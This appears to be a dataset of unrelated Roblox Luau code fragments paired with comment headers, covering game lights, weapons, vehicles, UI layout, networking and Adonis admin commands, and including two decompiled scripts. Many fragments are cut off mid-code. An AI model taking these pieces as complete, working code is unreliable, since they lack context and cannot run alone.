Green.ImageTransparency = Green.ImageTransparency + 0.175
DYellow.Brightness = DYellow.Brightness + 0.25
DRed.Brightness = DRed.Brightness - 0.35
DGreen.Brightness = DGreen.Brightness - 0.35
wait()
if Signal.Value ~= 2 then break end
until
Red.ImageTransparency == 1
and
Yellow.ImageTransparency == 0
and
Green.ImageTransparency == 1
and
DYellow.Brightness >= 2
and
DGreen.Brightness <= 0
and
DRed.Brightness <= 0
elseif Signal.Value == 3 then
repeat
Yellow.ImageTransparency = Yellow.ImageTransparency + 0.175
Red.ImageTransparency = Red.ImageTransparency - 0.125
Green.ImageTransparency = Green.ImageTransparency + 0.175
DYellow.Brightness = DYellow.Brightness - 0.35
DRed.Brightness = DRed.Brightness + 0.25
DGreen.Brightness = DGreen.Brightness - 0.35
wait()
if Signal.Value ~= 3 then break end
until
Red.ImageTransparency == 0
and
Yellow.ImageTransparency == 1
and
Green.ImageTransparency == 1
and
DYellow.Brightness <= 0
and
DGreen.Brightness <= 0
and
DRed.Brightness >= 2
end
end
Signal.Changed:connect(Active)
|
-- Setup the waypoint controller and set the first waypoint |
local controller = WaypointController.new(player)
|
-- Roblox NPC sound script |
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local SOUND_DATA = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "rbxasset://sounds/uuhhh.mp3",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
Pitch = 1.85,
},
Splash = {
SoundId = "rbxasset://sounds/impact_water.mp3",
},
Swimming = {
SoundId = "rbxasset://sounds/action_swim.mp3",
Looped = true,
Pitch = 1.6,
},
}
|
-- OFFSET HANDLERS |
local alignmentDetails = {}
alignmentDetails["left"] = {
startScale = 0,
getOffset = function()
local offset = 48 + IconController.leftOffset
if checkTopbarEnabled() then
local chatEnabled = starterGui:GetCoreGuiEnabled("Chat")
if chatEnabled then
offset += 12 + 32
end
if isVoiceChatEnabled and not isStudio then
if chatEnabled then
offset += 67
else
offset += 43
end
end
end
return offset
end,
getStartOffset = function()
local alignmentGap = IconController["leftGap"]
local startOffset = alignmentDetails.left.getOffset() + alignmentGap
return startOffset
end,
records = {}
}
alignmentDetails["mid"] = {
startScale = 0.5,
getOffset = function()
return 0
end,
getStartOffset = function(totalIconX)
local alignmentGap = IconController["midGap"]
return -totalIconX/2 + (alignmentGap/2)
end,
records = {}
}
alignmentDetails["right"] = {
startScale = 1,
getOffset = function()
local offset = IconController.rightOffset
if checkTopbarEnabled() and (starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu)) then
offset += 48
end
return offset
end,
getStartOffset = function(totalIconX)
local startOffset = -totalIconX - alignmentDetails.right.getOffset()
return startOffset
end,
records = {}
--reverseSort = true
}
|
-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed |
local Keyboard = require(script:WaitForChild("Keyboard"))
local Gamepad = require(script:WaitForChild("Gamepad"))
local DynamicThumbstick = require(script:WaitForChild("DynamicThumbstick"))
local FFlagUserFlagEnableNewVRSystem do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem")
end)
FFlagUserFlagEnableNewVRSystem = success and result
end
local FFlagUserMakeThumbstickDynamic do
local success, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserMakeThumbstickDynamic")
end)
FFlagUserMakeThumbstickDynamic = success and value
end
local TouchThumbstick = FFlagUserMakeThumbstickDynamic and DynamicThumbstick or require(script:WaitForChild("TouchThumbstick"))
|
-- Compiled with roblox-ts v1.3.3 |
local TS = _G[script]
local ServerEventV2 = TS.import(script, script.Parent, "ServerEvent").default
local function isMiddlewareArgument(args)
local _condition = #args > 1
if _condition then
local _arg0 = args[1]
_condition = type(_arg0) == "table"
end
return _condition
end |
-- Fonction pour calculer la distance entre deux positions |
local function calculateDistance(position1, position2)
return (position1 - position2).Magnitude
end
|
---- UTILITY FUNCTIONS --------------------------------------------------------- |
local RaycastParams = RaycastParams.new()
RaycastParams.FilterDescendantsInstances = {
workspace:WaitForChild("Mobs"),
workspace:WaitForChild("Characters")
}
RaycastParams.RespectCanCollide = true
RaycastParams.IgnoreWater = true
local function GetTableLength(t): number
local n = 0
for _ in t do
n += 1
end
return n
end
|
--RL |
rSprings[1].Thickness = Settings[1]
rSprings[1].MaxLength = Settings[2]
rSprings[1].MinLength = Settings[3]
rSprings[1].Damping = Settings[4]
rSprings[1].FreeLength = Settings[5]
rSprings[1].LimitsEnabled = Settings[6]
rSprings[1].MaxForce = Settings[7]
rSprings[1].Stiffness = Settings[8] |
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,VRecoil = {3,6} --- Vertical Recoil
,HRecoil = {3,6} --- Horizontal Recoil
,AimRecover = .9 ---- Between 0 & 1
,RecoilPunch = .1
,VPunchBase = 2 --- Vertical Punch
,HPunchBase = 2 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .5
,MaxRecoilPower = 2.5
,RecoilPowerStepAmount = .15
,MinSpread = 4.5 --- Min bullet spread value | Studs
,MaxSpread = 50 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 2
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1 --- Max sway value based on player stamina | Studs |
--Hello! Please put me inside of a R6 dummy
--this script loads the local players avatar |
local Players = game:GetService("Players")
local function handlePlayerAdded(player)
local id = player.UserId
local success, result = pcall(function()
return Players:GetCharacterAppearanceAsync(id)
end)
if success then
local Models = result
Models.Parent = script.Parent
wait()
for i, v in pairs(Models:GetChildren()) do
print(v.Name)
v.Parent = script.Parent
wait()
end
else
warn("Failed to get character appearance for player " .. player.Name)
end
end
|
-- Constants |
local RootModel = script:FindFirstAncestorOfClass("Model")
local EffectsToPlay = script.EffectsToPlay
local WeaponDefinition = WeaponDefinitionLoader.GetWeaponDefintionByName(RootModel:GetAttribute("WeaponName"))
local OwnerID = RootModel:GetAttribute("OwnerID")
local GrenadeFuseTime = WeaponDefinition:GetFuseTime()
local owningPlayer = PlayersService:GetPlayerByUserId(OwnerID)
|
--// Hash: 01509f4cfef0d92b23d78951ca55f7fca2f31845079a481643af7edeb9c1e0e98ce7977e4b7264043c35388d50a9956b
-- Decompiled with the Synapse X Luau decompiler. |
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__GuiService__2 = game:GetService("GuiService");
local l__UserInputService__1 = game:GetService("UserInputService");
local l__RunService__2 = game:GetService("RunService");
function module(p1)
local v3 = "pc";
if l__UserInputService__1.TouchEnabled then
if not l__UserInputService__1.AccelerometerEnabled then
if l__UserInputService__1.GyroscopeEnabled then
v3 = "mobile";
end;
else
v3 = "mobile";
end;
end;
if l__UserInputService__1.GamepadEnabled then
v3 = "console";
end;
if l__UserInputService__1.TouchEnabled then
if l__RunService__2:IsStudio() then
v3 = "mobile";
end;
end;
return v3;
end;
return module;
|
---- ARITHMETIC ---- |
function ActiveCastStatic:AddVelocity(velocity: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddVelocity", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self:SetVelocity(self:GetVelocity() + velocity)
end
function ActiveCastStatic:AddAcceleration(acceleration: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddAcceleration", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self:SetAcceleration(self:GetAcceleration() + acceleration)
end
function ActiveCastStatic:AddPosition(position: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("AddPosition", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
self:SetPosition(self:GetPosition() + position)
end
|
-- ====================
-- SHOTGUN
-- Enable the gun to fire multiple bullet in one shot
-- ==================== |
ShotgunEnabled = true;
BulletPerShot = 4;
ShotgunReload = false; --Make user reloading like Shotgun, which user clipin shell one by one
ShotgunClipinAnimationID = nil; --Set to "nil" if you don't want to animate
ShotgunClipinAnimationSpeed = 1;
ShellClipinSpeed = 0.5; --In second
|
--print(hit.Parent.Name) |
if hit.Parent:findFirstChild("Humanoid") ~= nil then
local hum=hit.Parent:findFirstChild("Humanoid") |
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Wheat",Paint)
end)
|
-------------- |
CenterTween1 = TweenService:Create(centerWeld,tweenInfo,CenterWeldG1)
LeftTween1 = TweenService:Create(leftWeld,tweenInfo,leftWeldG1)
RightTween1 = TweenService:Create(rightWeld,tweenInfo,rightWeldG1)
CenterTween2 = TweenService:Create(centerWeld,tweenInfo,CenterWeldG2)
LeftTween2 = TweenService:Create(leftWeld,tweenInfo,leftWeldG2)
RightTween2 = TweenService:Create(rightWeld,tweenInfo,rightWeldG2)
while true do
CenterTween1:play()
LeftTween1:play()
RightTween1:play()
wait(.5)
CenterTween2:play()
LeftTween2:play()
RightTween2:play()
wait(.5)
end
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__ReplicatedStorage__1 = game:GetService("ReplicatedStorage");
local u1 = require(l__ReplicatedStorage__1.Packages.Fusion);
local u2 = require(l__ReplicatedStorage__1.GiftInbox.Gift);
return function(p1)
return u1.New("ScrollingFrame")({
Size = UDim2.fromScale(1, 1),
AutomaticCanvasSize = Enum.AutomaticSize.Y,
CanvasSize = UDim2.new(),
ScrollingDirection = Enum.ScrollingDirection.Y,
ScrollBarThickness = 8,
BackgroundTransparency = 1,
ScrollBarImageColor3 = Color3.fromRGB(197, 197, 197),
[u1.Children] = { u1.New("UIListLayout")({
Padding = UDim.new(0, 10)
}), u1.New("UIPadding")({
PaddingLeft = UDim.new(0.05, 0),
PaddingRight = UDim.new(0.05, 0)
}), u1.ComputedPairs(p1.gifts, function(p2, p3)
local v2 = table.clone(p3);
v2.layoutOrder = p2;
return u2(v2);
end) }
});
end;
|
--// Functions |
function TurnOff()
L_27_ = false
L_25_ = false
L_14_ = false
L_40_:FireServer()
end
function CheckForHumanoid(L_47_arg1)
local L_48_ = false
local L_49_ = nil
if L_47_arg1 then
if (L_47_arg1.Parent:FindFirstChild("Humanoid") or L_47_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
L_48_ = true
if L_47_arg1.Parent:FindFirstChild('Humanoid') then
L_49_ = L_47_arg1.Parent.Humanoid
elseif L_47_arg1.Parent.Parent:FindFirstChild('Humanoid') then
L_49_ = L_47_arg1.Parent.Parent.Humanoid
end
else
L_48_ = false
end
end
return L_48_, L_49_
end
function Fire(L_50_arg1)
for L_61_forvar1, L_62_forvar2 in pairs(L_50_arg1:GetChildren()) do
if L_62_forvar2.Name:sub(1, 7) == 'FlashFX' then
L_62_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_63_forvar1, L_64_forvar2 in pairs(L_50_arg1:GetChildren()) do
if L_64_forvar2.Name:sub(1, 7) == 'FlashFX' then
L_64_forvar2.Enabled = false
end
end
end)
local L_51_ = L_50_arg1.Position
local L_52_ = L_50_arg1.CFrame.lookVector.unit
local L_53_ = CFrame.new(L_51_, L_51_ + L_52_)
local L_54_ = Instance.new("Part")
L_54_.Parent = L_38_
game.Debris:AddItem(L_54_, 3)
L_54_.Shape = Enum.PartType.Block
L_54_.Size = L_7_.BulletSize
L_54_.Name = "Bullet"
L_54_.TopSurface = "Smooth"
L_54_.BottomSurface = "Smooth"
L_54_.BrickColor = BrickColor.new("Bright green")
L_54_.Material = "Neon"
L_54_.CanCollide = false
L_54_.CFrame = L_50_arg1.CFrame + (L_50_arg1.CFrame.p - L_50_arg1.CFrame.p)
L_54_.CFrame = CFrame.new(L_50_arg1.CFrame.p, L_50_arg1.CFrame.p + L_52_)
local L_55_ = Instance.new('BodyVelocity', L_54_)
L_55_.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
L_55_.P = 10
L_55_.Velocity = L_52_ * L_7_.BulletSpeed
local L_56_, L_57_, L_58_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_50_arg1.Position, L_50_arg1.CFrame.lookVector * L_7_.CastDist), L_39_);
local L_59_ = Vector3.new(0, 1, 0):Cross(L_58_)
local L_60_ = math.asin(L_59_.magnitude)
if L_56_ and (L_56_ and L_56_.Transparency >= 1 or L_56_.CanCollide == false) and L_56_.Name ~= 'Right Arm' and L_56_.Name ~= 'Left Arm' and L_56_.Name ~= 'Right Leg' and L_56_.Name ~= 'Left Leg' and L_56_.Name ~= 'Armor' then
table.insert(L_39_, L_56_)
end
if L_56_ then
L_59_ = Vector3.new(0, 1, 0):Cross(L_58_)
L_60_ = math.asin(L_59_.magnitude) -- division by 1 is redundant
L_43_:FireServer(L_57_)
local L_65_, L_66_ = CheckForHumanoid(L_56_)
if L_65_ == false then
local L_67_ = L_44_:InvokeServer(L_57_, L_59_, L_60_, L_58_, "Part", L_56_, 'NonExplosive')
elseif L_65_ == true then
local L_68_ = L_44_:InvokeServer(L_57_, L_59_, L_60_, L_58_, "Human", L_56_, 'NonExplosive')
L_46_:FireServer(L_66_)
L_45_:FireServer(L_66_, L_7_.BulletDamage)
end
end
end
function FireATG(L_69_arg1)
if L_18_ > 0 then
L_18_ = L_18_ - 1
if L_18_ < 0 then
L_18_ = 0
end
L_37_.Text = 'ATGs: ' .. L_18_
for L_84_forvar1, L_85_forvar2 in pairs(L_69_arg1:GetChildren()) do
if L_85_forvar2.Name:sub(1, 7) == 'FlashFX' then
L_85_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_86_forvar1, L_87_forvar2 in pairs(L_69_arg1:GetChildren()) do
if L_87_forvar2.Name:sub(1, 7) == 'FlashFX' then
L_87_forvar2.Enabled = false
end
end
end)
local L_70_ = L_69_arg1.Position
local L_71_ = L_69_arg1.CFrame.lookVector.unit
local L_72_ = CFrame.new(L_70_, L_70_ + L_71_)
local L_73_ = Instance.new("Part")
L_73_.Parent = L_38_
game.Debris:AddItem(L_73_, 10)
L_73_.Shape = Enum.PartType.Block
L_73_.Size = L_7_.BulletSize
L_73_.Name = "Bullet"
L_73_.TopSurface = "Smooth"
L_73_.BottomSurface = "Smooth"
L_73_.BrickColor = BrickColor.new("Bright green")
L_73_.Material = "Neon"
L_73_.CanCollide = false
L_73_.CFrame = L_69_arg1.CFrame + (L_69_arg1.CFrame.p - L_69_arg1.CFrame.p)
L_73_.CFrame = CFrame.new(L_69_arg1.CFrame.p, L_69_arg1.CFrame.p + L_71_)
local L_74_ = L_4_:WaitForChild('FX'):WaitForChild('RocketTrail'):clone()
L_74_.Parent = L_73_
L_74_.Enabled = true
local L_75_ = Instance.new('BodyVelocity', L_73_)
L_75_.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
L_75_.P = 10
L_75_.Velocity = L_71_ * L_7_.BulletSpeed
local L_76_ = L_69_arg1.Position;
local L_77_ = L_73_.Position;
local L_78_ = 0
local L_79_, L_80_, L_81_
local L_82_
local L_83_
while true do
L_9_:wait()
L_77_ = L_73_.Position;
L_78_ = L_78_ + (L_77_ - L_76_).magnitude
L_79_, L_80_, L_81_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_76_, (L_77_ - L_76_)), L_39_);
L_82_ = Vector3.new(0, 1, 0):Cross(L_81_)
L_83_ = math.asin(L_82_.magnitude) -- division by 1 is redundant
--[[if distance >= config.CastDist then
Bullet:Destroy()
break
end]]--
if L_79_ and (L_79_ and L_79_.Transparency >= 1 or L_79_.CanCollide == false) and L_79_.Name ~= 'Right Arm' and L_79_.Name ~= 'Left Arm' and L_79_.Name ~= 'Right Leg' and L_79_.Name ~= 'Left Leg' and L_79_.Name ~= 'Armor' then
table.insert(L_39_, L_79_)
end
if L_79_ then
L_82_ = Vector3.new(0, 1, 0):Cross(L_81_)
L_83_ = math.asin(L_82_.magnitude) -- division by 1 is redundant
L_43_:FireServer(L_80_)
local L_88_ = L_44_:InvokeServer(L_80_, L_82_, L_83_, L_81_, "Part", L_79_, 'Explosive')
L_73_:Destroy()
break
end
end
end
end
|
-- |
if IsServer then
function HandlerFireClient(handler, client, ...)
if LoggingNetwork then
table.insert(LoggingNetwork[client][handler.Remote].dataOut, GetParamString(...))
end
return handler.Remote:FireClient(client, ...)
end
--
function Network:GetPlayers()
return Players:GetPlayers()
end
function Network:GetPlayerPosition(player)
return player and player.Character and player.Character.PrimaryPart and player.Character.PrimaryPart.Position or nil
end
--
function Network:FireClient(client, name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
HandlerFireClient(handler, client, ...)
end
function Network:FireAllClients(name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
for i,v in pairs(self:GetPlayers()) do
HandlerFireClient(handler, v, ...)
end
end
function Network:FireOtherClients(client, name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
for i,v in pairs(self:GetPlayers()) do
if v ~= client then
HandlerFireClient(handler, v, ...)
end
end
end
function Network:FireOtherClientsWithinDistance(client, dist, name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
local pos = self:GetPlayerPosition(client)
if not pos then
return
end
for _,player in pairs(self:GetPlayers()) do
if player ~= client then
local otherPos = self:GetPlayerPosition(player)
if otherPos and (pos - otherPos).Magnitude <= dist then
HandlerFireClient(handler, player, ...)
end
end
end
end
function Network:FireAllClientsWithinDistance(pos, dist, name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
for _,player in pairs(self:GetPlayers()) do
local otherPos = self:GetPlayerPosition(player)
if otherPos and (pos - otherPos).Magnitude <= dist then
HandlerFireClient(handler, player, ...)
end
end
end
function Network:InvokeClientWithTimeout(timeout, client, name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
return SafeInvoke(timeout, handler, client, ...)
end
function Network:InvokeClient(...)
return self:InvokeClientWithTimeout(60, ...)
end
function Network:LogTraffic(...)
FastSpawn(self.LogTrafficAsync, self, ...)
end
function Network:LogTrafficAsync(duration, output)
output = output or warn
if LoggingNetwork then return end
output("Logging Network Traffic...")
LoggingNetwork = setmetatable({}, { __index = function(t, i)
t[i] = setmetatable({}, { __index = function(t, i) t[i] = { dataIn = {}, dataOut = {} } return t[i] end })
return t[i]
end})
local start = os.clock()
wait(duration)
local effDur = os.clock() - start
local clientTraffic = LoggingNetwork
LoggingNetwork = nil
for player,remotes in pairs(clientTraffic) do
local totalReceived = 0
local totalSent = 0
for remote,data in pairs(remotes) do
totalReceived += #data.dataIn
totalSent += #data.dataOut
end
output(string.format("Player '%s', total received/sent: %d/%d", player.Name, totalReceived, totalSent))
for remote,data in pairs(remotes) do
-- Incoming
local list = data.dataIn
if #list > 0 then
output(string.format(" %s %s: %d (%.2f/s)", "FireServer", remote.Name, #list, #list / effDur))
local count = math.min(#list, 3)
for i = 1, count do
local index = math.floor(1 + (i - 1) / math.max(1, count - 1) * (#list - 1) + 0.5)
output(string.format(" %d: %s", index, list[index]))
end
end
-- Outgoing
local list = data.dataOut
if #list > 0 then
output(string.format(" %s %s: %d (%.2f/s)", "FireClient", remote.Name, #list, #list / effDur))
local count = math.min(#list, 3)
for i = 1, count do
local index = math.floor(1 + (i - 1) / math.max(1, count - 1) * (#list - 1) + 0.5)
output(string.format(" %d: %s", index, list[index]))
end
end
end
end
end
else
EventsFolder.ChildAdded:Connect(function(child) GetEventHandler(child.Name) end)
for _,child in pairs(EventsFolder:GetChildren()) do GetEventHandler(child.Name) end
FunctionsFolder.ChildAdded:Connect(function(child) GetFunctionHandler(child.Name) end)
for _,child in ipairs(FunctionsFolder:GetChildren()) do GetFunctionHandler(child.Name) end
--
function Network:FireServer(name, ...)
local handler = GetEventHandler(name)
if not handler then
error(("'%s' is not a valid RemoteEvent"):format(name))
end
if handler.Remote then
handler.Remote:FireServer(...)
else
local params = table.pack(...)
AddToQueue(handler, function()
handler.Remote:FireServer(unpack(params))
end, true)
end
end
function Network:InvokeServerWithTimeout(timeout, name, ...)
local handler = GetFunctionHandler(name)
if not handler then
error(("'%s' is not a valid RemoteFunction"):format(name))
end
if not handler.Remote then
-- Code below will break if the callback passed to AddToQueue is called
-- before the function returns. This should never happen unless somebody
-- changed how AddToQueue works.
local thread = coroutine.running()
AddToQueue(handler, function()
ResumeThread(thread)
end, true)
YieldThread()
end
local result = table.pack(SafeInvoke(timeout, handler, ...))
assert(result[1] == true, "InvokeServer error")
return unpack(result, 2)
end
function Network:InvokeServer(name, ...)
return self:InvokeServerWithTimeout(nil, name, ...)
end
end
|
--[[
Like andThen, but the value passed into the handler is also the
value returned from the handler.
]] |
function Promise.prototype:tap(tapCallback)
assert(type(tapCallback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:tap"))
return self:_andThen(debug.traceback(nil, 2), function(...)
local callbackReturn = tapCallback(...)
if Promise.is(callbackReturn) then
local length, values = pack(...)
return callbackReturn:andThen(function()
return unpack(values, 1, length)
end)
end
return ...
end)
end
Promise.prototype.Tap = Promise.prototype.tap
|
-- local second=math.floor(((minute*60)%1)*60) |
HourArrow.Rotation = 180+(hour*360)
MinArrow.Rotation = 180+(mint*6) |
--!strict
--[=[
@function is
@within Array
@param object any -- The object to check.
@return boolean -- Whether the object is an array.
Checks if the given object is an array.
```lua
local array = { 1, 2, 3 }
local dictionary = { hello = "world" }
local mixed = { 1, 2, hello = "world" }
Array.is(array) -- true
Array.is(dictionary) -- false
Array.is(mixed) -- false
```
]=] |
local function is(object: any): boolean
return typeof(object) == "table" and #object > 0 and next(object, #object) == nil
end
return is
|
-- stores |
local mainStore = dss:GetDataStore("MainDataStore")
|
-- GAMEPASSES |
Gamepasses = {
[29104154] = "VIP";
};
|
------------------------- |
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "a" then
a = true
elseif key == "d" then
d = true
elseif key == "w" then
w = true
rwd.Throttle = 1
rwd.Torque = tq
lwd.Throttle = 1
lwd.Torque = ftq
rrwd.Throttle = 1
rrwd.Torque = ftq
rwd.MaxSpeed = 192
lwd.MaxSpeed = 192
rrwd.MaxSpeed = 192
carSeat.Throttle = 1
carSeat.Torque = 0
elseif key == "s" then
s = true
carSeat.Throttle = 0
carSeat.Torque = 0
rwd.Throttle = -1
rwd.Torque = brk
lwd.Throttle = -1
lwd.Torque = brk
rrwd.Throttle = -1
rrwd.Torque = brk
rwd.MaxSpeed = 25
lwd.MaxSpeed = 25
rrwd.MaxSpeed = 25
end
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "a" then
print("a up")
if d == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
elseif key == "d" then
print("d up")
if a == false then
m.DesiredAngle = 0
n.DesiredAngle = m.DesiredAngle
end
end
a = false
d = false
end)
mouse.KeyUp:connect(function (key)
key = string.lower(key)
if key == "w" or key == "s" then
rwd.Throttle = 0
rwd.Torque = 0
lwd.Throttle = 0
lwd.Torque = 0
rrwd.Throttle = 0
rrwd.Torque = 0
carSeat.Throttle = 0
carSeat.Torque = cst
end
end)
limitButton.MouseButton1Click:connect(function() |
--Horsepower Curve |
function curve(RPM)
RPM=RPM/1000
return ((-(RPM-PeakRPM)^2)*math.min(HP/(PeakRPM^2),CurveMult^(PeakRPM/HP))+HP)*(RPM-((RPM^Sharpness)/((Sharpness*PeakRPM)^(Sharpness-1))))
end
local PeakCurve = curve(_Tune.PeakRPM)
local Horsepower = math.max(curve(RPM)/(PeakCurve/HP),0)
|
--SS3.33 Tesla Edit for Tesla Model X by Itzt (This is NOT SS3.33T.) |
wait(0.1)
local player = game.Players.LocalPlayer
local lightOn = false
local HUB = script.Parent.HUB
local limitButton = HUB.Parent.Gauges.Circle.Zero.Limiter
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local n = Instance.new("Motor")
local m = Instance.new("Motor")
local rwd = carSeat.Parent.Parent.RWD.RWD
local lwd = carSeat.Parent.Parent.LW.VS
local rrwd = carSeat.Parent.Parent.RW.VS
local windows = false
local winfob = HUB.Parent.Windows
local tailLights = carSeat.Parent.Taillights
local gear = 0
local ignition = 0
cc = script.Parent.CC
tq = 3.2
ftq = 3.2
brk = 6.4
cst = 0.2
m.Part0 = carSeat.Parent.Parent.Body2.MR
m.Part1 = carSeat.Parent.Parent.RW.SS
m.Parent = carSeat.Parent.Parent.Body2.MR
m.MaxVelocity = 0.05
n.Part0 = carSeat.Parent.Parent.Body2.ML
n.Part1 = carSeat.Parent.Parent.LW.SS
n.Parent = carSeat.Parent.Parent.Body2.ML
n.MaxVelocity = 0.05
a = false
d = false
w = false
s = false
q = false -- left
e = false -- right
r = false
local rightin = false
local leftin = false
|
--!nocheck |
return function(Vargs, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps
if env then setfenv(1, env) end
local Routine = env.Routine
return {
--[[
--// Unfortunately not viable
Reboot = {
Prefix = ":";
Commands = {"rebootadonis", "reloadadonis"};
Args = {};
Description = "Attempts to force Adonis to reload";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local rebootHandler = server.Deps.RebootHandler:Clone();
if server.Runner then
rebootHandler.mParent.Value = service.UnWrap(server.ModelParent);
rebootHandler.Dropper.Value = service.UnWrap(server.Dropper);
rebootHandler.Runner.Value = service.UnWrap(server.Runner);
rebootHandler.Model.Value = service.UnWrap(server.Model);
rebootHandler.Mode.Value = "REBOOT";
task.wait(0.03)
rebootHandler.Parent = service.ServerScriptService;
rebootHandler.Disabled = false;
task.wait(0.03)
server.CleanUp();
else
error("Unable to reload: Runner missing");
end
end;
};--]]
SetRank = {
Prefix = Settings.Prefix;
Commands = {"setrank", "permrank", "permsetrank"};
Args = {"player/user", "rank"};
Description = "Sets the admin rank of the target user(s); THIS SAVES!";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
assert(args[1], "Missing target user (argument #1)")
local rankName = assert(args[2], "Missing rank name (argument #2)")
local newRank = Settings.Ranks[rankName]
if not newRank then
for thisRankName, thisRank in Settings.Ranks do
if thisRankName:lower() == rankName:lower() then
rankName = thisRankName
newRank = thisRank
break
end
end
end
assert(newRank, `No rank named '{rankName}' exists`)
local newLevel = newRank.Level
local senderLevel = data.PlayerData.Level
assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel))
for _, p in Functions.GetPlayers(plr, args[1], {NoFakePlayer = false})do
if senderLevel > Admin.GetLevel(p) then
Admin.AddAdmin(p, rankName)
Remote.MakeGui(p, "Notification", {
Title = "Notification";
Message = string.format("You are %s%s. Click to view commands.", if string.lower(string.sub(rankName, 1, 3)) == "the" then "" elseif string.match(rankName, "^[AEIOUaeiou]") and string.lower(string.sub(rankName, 1, 3)) ~= "uni" then "an " else "a ", rankName);
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(p, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr})
else
Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(p, true)}`, {plr})
end
end
end;
};
SetTempRank = {
Prefix = Settings.Prefix;
Commands = {"settemprank", "temprank", "tempsetrank"};
Args = {"player", "rank"};
Description = `Identical to {Settings.Prefix}setrank, but doesn't save`;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
assert(args[1], "Missing target player (argument #1)")
local rankName = assert(args[2], "Missing rank name (argument #2)")
local newRank = Settings.Ranks[rankName]
if not newRank then
for thisRankName, thisRank in Settings.Ranks do
if thisRankName:lower() == rankName:lower() then
rankName = thisRankName
newRank = thisRank
break
end
end
end
assert(newRank, `No rank named '{rankName}' exists`)
local newLevel = newRank.Level
local senderLevel = data.PlayerData.Level
assert(newLevel < senderLevel, string.format("Rank level (%s) cannot be equal to or above your own level (%s)", newLevel, senderLevel))
for _, v in service.GetPlayers(plr, args[1]) do
if senderLevel > Admin.GetLevel(v) then
Admin.AddAdmin(v, rankName, true)
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = `You are a temp {rankName}. Click to view commands.`;
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now rank {rankName} (Permission Level: {newLevel})`, {plr})
else
Functions.Hint(`You do not have permission to set the rank of {service.FormatPlayer(v, true)}`, {plr})
end
end
end;
};
